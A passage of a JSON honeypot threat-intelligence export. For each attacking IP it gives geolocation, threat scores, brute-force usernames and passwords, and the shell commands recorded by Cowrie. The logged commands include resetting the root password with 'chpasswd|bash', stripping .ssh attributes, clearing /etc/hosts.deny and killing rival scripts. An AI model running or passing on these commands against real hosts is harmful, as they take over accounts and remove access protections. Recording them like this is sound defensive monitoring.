      "last_seen": "2026-05-29T23:12:46.840Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Maia",
      "asn": 2860,
      "as_org": "Nos Comunicacoes, S.A.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T23:12:15.443000+00:00",
        "last_seen_30d": "2026-05-29T23:13:47.160000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "178.104.50.20": {
      "attack_count": 934,
      "first_seen": "2026-05-10T07:32:58.434Z",
      "last_seen": "2026-05-10T09:26:41.457Z",
      "sessions": 187,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "oracle",
        "ubuntu",
        "test",
        "user1",
        "app",
        "debian",
        "deploy",
        "elasticsearch",
        "es",
        "frappe",
        "ftp",
        "git",
        "guest",
        "hadoop",
        "nginx",
        "postgres",
        "rdpuser"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "12345678",
        "Aa123456",
        "admin123",
        "frappe",
        "!Q2w3e4r",
        "!qaz@WSX",
        "0000",
        "111",
        "111111",
        "11111111",
        "123123123",
        "123321",
        "1234",
        "12345",
        "123456789",
        "123@@@",
        "1Q2w3e4r"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 1377,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:32:58.434000+00:00",
        "last_seen_30d": "2026-05-10T09:27:47.200000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 934,
        "Suricata": 443
      }
    },
    "161.35.205.74": {
      "attack_count": 633,
      "first_seen": "2026-05-09T05:22:24.995Z",
      "last_seen": "2026-05-15T05:39:52.160Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "gmodserver",
        "linux",
        "postgres",
        "systemd-sync",
        "test",
        "...",
        "dbus-helper",
        "debian",
        "dev",
        "developer",
        "git",
        "guest",
        "hadoop",
        "mcserver",
        "odoo",
        "pakchoi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "111111",
        "123.0admin",
        "12345",
        "123456789",
        "123kid",
        "159357",
        "1q2w3e4r",
        "1z2x3c4v5b",
        "9876543210",
        "@admin@123",
        "K0nig2025.",
        "Kermit123@",
        "MdnFtp_R2",
        "a1b2c3",
        "abcde12345",
        "admin123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"linux123\\ngRGkiRscJK04\\ngRGkiRscJK04\\n\"|passwd",
        "echo \"root:aM3Am7UyZT0d\"|chpasswd|bash",
        "echo \"root:iXunRnfasjNM\"|chpasswd|bash",
        "echo \"warnight\\nHgQH89L86BL6\\nHgQH89L86BL6\\n\"|passwd",
        "echo \"ytrewq\\n66qvyIUDvebP\\n66qvyIUDvebP\\n\"|passwd",
        "echo -e \"linux123\\ngRGkiRscJK04\\ngRGkiRscJK04\"|passwd|bash",
        "echo -e \"warnight\\nHgQH89L86BL6\\nHgQH89L86BL6\"|passwd|bash",
        "echo -e \"ytrewq\\n66qvyIUDvebP\\n66qvyIUDvebP\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.9,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 780,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T05:22:24.995000+00:00",
        "last_seen_30d": "2026-05-15T05:40:56.144000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 633,
        "Suricata": 147
      }
    },
    "116.110.215.157": {
      "attack_count": 422,
      "first_seen": "2026-05-31T11:01:30.276Z",
      "last_seen": "2026-05-31T11:29:06.855Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "support",
        "test",
        "ubnt",
        "123456",
        "admian",
        "anton",
        "ashish",
        "auto",
        "brenda",
        "btf",
        "carol",
        "cf1c22",
        "cisco",
        "demo",
        "developer",
        "dubai",
        "ftp",
        "george"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "12345",
        "admin",
        "1111",
        "111111",
        "123",
        "1234",
        "123456789",
        "321start",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcdefg",
        "admin01",
        "admin1",
        "alpine",
        "anton",
        "ashish"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 42.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 603,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T11:01:30.276000+00:00",
        "last_seen_30d": "2026-05-31T11:30:12.405000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 422,
        "Suricata": 181
      }
    },
    "117.121.214.50": {
      "attack_count": 382,
      "first_seen": "2026-05-16T10:05:46.159Z",
      "last_seen": "2026-05-16T10:37:46.971Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "admin",
        "alex",
        "ghostuser",
        "jbernal",
        "minikube",
        "security",
        "sftp_user",
        "toor",
        "user",
        "user3",
        "web-user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!@34QWer",
        "!Q2w3e4r",
        "000000",
        "123",
        "20192019",
        "228228",
        "456",
        "Ls123456",
        "Root@1234567",
        "a123123.",
        "admin123!@#",
        "d3pl0y1234",
        "deploy@2023",
        "ghostuser",
        "minikube",
        "root",
        "security1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:B2Zw3Ls2WCTF\"|chpasswd|bash",
        "echo \"root:FNWGFGDnDpao\"|chpasswd|bash",
        "echo \"root:ZHW4yaIJUfDX\"|chpasswd|bash",
        "echo \"root:gHNU5dfhCcfX\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 38794,
      "as_org": "UIH",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 449,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T10:05:46.159000+00:00",
        "last_seen_30d": "2026-05-16T10:38:48.002000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 382,
        "Suricata": 67
      }
    },
    "210.90.155.178": {
      "attack_count": 369,
      "first_seen": "2026-05-16T16:04:53.492Z",
      "last_seen": "2026-05-29T23:05:25.399Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "administrator",
        "alan",
        "art",
        "db2fenc1",
        "deployer",
        "developer",
        "issabel",
        "ntps",
        "openproject",
        "steam",
        "student3",
        "sysadmin",
        "trader",
        "ubuntu",
        "user",
        "zs"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "0708228AsBs!",
        "123123",
        "12345678",
        "123456789",
        "123456789**",
        "123456@Abc",
        "123@123",
        "20192019",
        "Aa1234!@#$",
        "Aa123456",
        "Aa123456!@#",
        "Itsemoemo2024@Washere2024",
        "Lf123456",
        "Qazwsx@123",
        "Qwerty123",
        "Redhat@123",
        "abc123!!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:56QS3fVfbrsg\"|chpasswd|bash",
        "echo \"root:cVE5LEXr1NRa\"|chpasswd|bash",
        "echo \"root:or1apzxh88vg\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongnam-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 46.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.6,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 458,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T16:04:53.492000+00:00",
        "last_seen_30d": "2026-05-29T23:06:29.221000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 369,
        "Suricata": 89
      }
    },
    "150.95.157.171": {
      "attack_count": 288,
      "first_seen": "2026-05-05T22:17:36.607Z",
      "last_seen": "2026-05-05T22:55:00.057Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "git",
        "admin",
        "admin01",
        "admini",
        "adminuser",
        "bitrix",
        "deploy",
        "dev",
        "download",
        "es",
        "gmodserver",
        "guest",
        "minecraft",
        "mongouser",
        "newftpuser",
        "test",
        "testor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111",
        "123456",
        "123456qwerty",
        "1qaz2wsx3edc",
        "2024",
        "Qwerty123",
        "Ubuntu2023",
        "admin",
        "admin01",
        "admin2012",
        "admin520",
        "admin888!@#",
        "admini",
        "adminuser@123",
        "database",
        "dev2022",
        "elastic123",
        "git123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Ubuntu2023\\new51MHquNdrz\\new51MHquNdrz\\n\"|passwd",
        "echo \"git123456\\nYcugEIyLbbNm\\nYcugEIyLbbNm\\n\"|passwd",
        "echo -e \"Ubuntu2023\\new51MHquNdrz\\new51MHquNdrz\"|passwd|bash",
        "echo -e \"git123456\\nYcugEIyLbbNm\\nYcugEIyLbbNm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 7506,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T22:17:36.607000+00:00",
        "last_seen_30d": "2026-05-05T22:56:10.162000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 75
      }
    },
    "103.170.173.26": {
      "attack_count": 262,
      "first_seen": "2026-05-09T00:21:47.226Z",
      "last_seen": "2026-05-09T01:24:14.684Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "postgres",
        "test",
        "admin",
        "adminuser",
        "apache",
        "ftptest",
        "git",
        "github",
        "ntadmin",
        "oracle",
        "test123",
        "tsadmin",
        "userbot",
        "vboxuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "123asd",
        "Abcd@123456",
        "Qq1234567890",
        "abcd",
        "admin",
        "admin#2024",
        "admin123",
        "amd",
        "azerty",
        "debian",
        "demo12",
        "github",
        "hola",
        "ntadmin",
        "oracle@12345",
        "qazwsx123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"demo12\\nb7AZ4ZVIoNnQ\\nb7AZ4ZVIoNnQ\\n\"|passwd",
        "echo \"root:zCzcq5cbFcux\"|chpasswd|bash",
        "echo -e \"demo12\\nb7AZ4ZVIoNnQ\\nb7AZ4ZVIoNnQ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 142595,
      "as_org": "AG Communication",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:21:47.226000+00:00",
        "last_seen_30d": "2026-05-09T01:25:24.772000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 68
      }
    },
    "69.6.222.198": {
      "attack_count": 236,
      "first_seen": "2026-05-18T01:52:42.948Z",
      "last_seen": "2026-05-18T02:22:46.778Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qaz@wsx",
        "112358",
        "123!@#qweQWE",
        "1A2B3C4D",
        "2081",
        "amber1",
        "cactiuser",
        "chinayixun",
        "cms",
        "davedave",
        "hr@123",
        "hrb123",
        "nopass",
        "oracle",
        "p@ssword1!",
        "sac",
        "simon",
        "squid"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:UAn7ikkldxe7\"|chpasswd|bash",
        "echo \"root:itvFyiuzq0Bw\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T01:52:42.948000+00:00",
        "last_seen_30d": "2026-05-18T02:23:48.156000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "37.143.61.16": {
      "attack_count": 221,
      "first_seen": "2026-05-27T08:03:06.856Z",
      "last_seen": "2026-05-27T09:05:46.367Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd",
        "aman",
        "elasticsearch",
        "sara",
        "test",
        "ubuntu",
        "ventas05",
        "vivek",
        "yy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "A12345",
        "Aa123456!!!",
        "Aa123456.",
        "Huawei2025",
        "Pass123$",
        "Voidsetdownload.so",
        "Wsy123456",
        "admin",
        "aman@123",
        "asd123ASD!@#",
        "fjbdfdjkdsfs541544AA@@",
        "sara123",
        "test01",
        "vivek@123",
        "yy"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Voidsetdownload.so\\nAnSh5IPaK2c7\\nAnSh5IPaK2c7\\n\"|passwd",
        "echo \"root:ShiJkOM8sWDC\"|chpasswd|bash",
        "echo -e \"Voidsetdownload.so\\nAnSh5IPaK2c7\\nAnSh5IPaK2c7\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 42831,
      "as_org": "UK Dedicated Servers Limited",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 272,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T08:03:06.856000+00:00",
        "last_seen_30d": "2026-05-27T09:06:50.877000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 221,
        "Suricata": 51
      }
    },
    "95.188.91.101": {
      "attack_count": 220,
      "first_seen": "2026-05-21T16:13:39.474Z",
      "last_seen": "2026-05-21T17:02:19.530Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chen",
        "game",
        "activemq",
        "admin",
        "alpine",
        "horse",
        "maxim",
        "patel",
        "saltstack",
        "socks",
        "xiamen"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "ADMIN",
        "activemq",
        "horse",
        "password",
        "password1",
        "password12",
        "patel",
        "redis",
        "saltstack",
        "socks",
        "xiamen"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nZRGNpLh6UaKX\\nZRGNpLh6UaKX\\n\"|passwd",
        "echo \"password\\nZpf3yA5c7INu\\nZpf3yA5c7INu\\n\"|passwd",
        "echo -e \"123456\\nZRGNpLh6UaKX\\nZRGNpLh6UaKX\"|passwd|bash",
        "echo -e \"password\\nZpf3yA5c7INu\\nZpf3yA5c7INu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Krasnoyarsk",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 277,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:13:39.474000+00:00",
        "last_seen_30d": "2026-05-21T17:12:25.487000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 220,
        "Suricata": 57
      }
    },
    "182.79.216.98": {
      "attack_count": 219,
      "first_seen": "2026-05-11T15:22:28.418Z",
      "last_seen": "2026-05-11T15:58:22.878Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "administrador",
        "git",
        "test1",
        "345gs5662d34",
        "debian",
        "ftpuser1",
        "itadmin",
        "openvpn",
        "oracle10",
        "radioserver",
        "teamspeak",
        "test9",
        "ts3bot",
        "user",
        "webdev",
        "webuser"
      ],
      "passwords_attempted": [
        "12",
        "123",
        "123123",
        "1234",
        "123456Ab",
        "1qaz!QAZ",
        "21",
        "3245gs5662d34",
        "345gs5662d34",
        "Digitalocean",
        "Janitza",
        "Welcome@123",
        "admin321",
        "itadmin",
        "oracle10",
        "oracle@1234",
        "pass",
        "password321",
        "qaz123...",
        "qazwsx"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"qazwsx\\nqxflIEgAY3G7\\nqxflIEgAY3G7\\n\"|passwd",
        "echo -e \"qazwsx\\nqxflIEgAY3G7\\nqxflIEgAY3G7\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
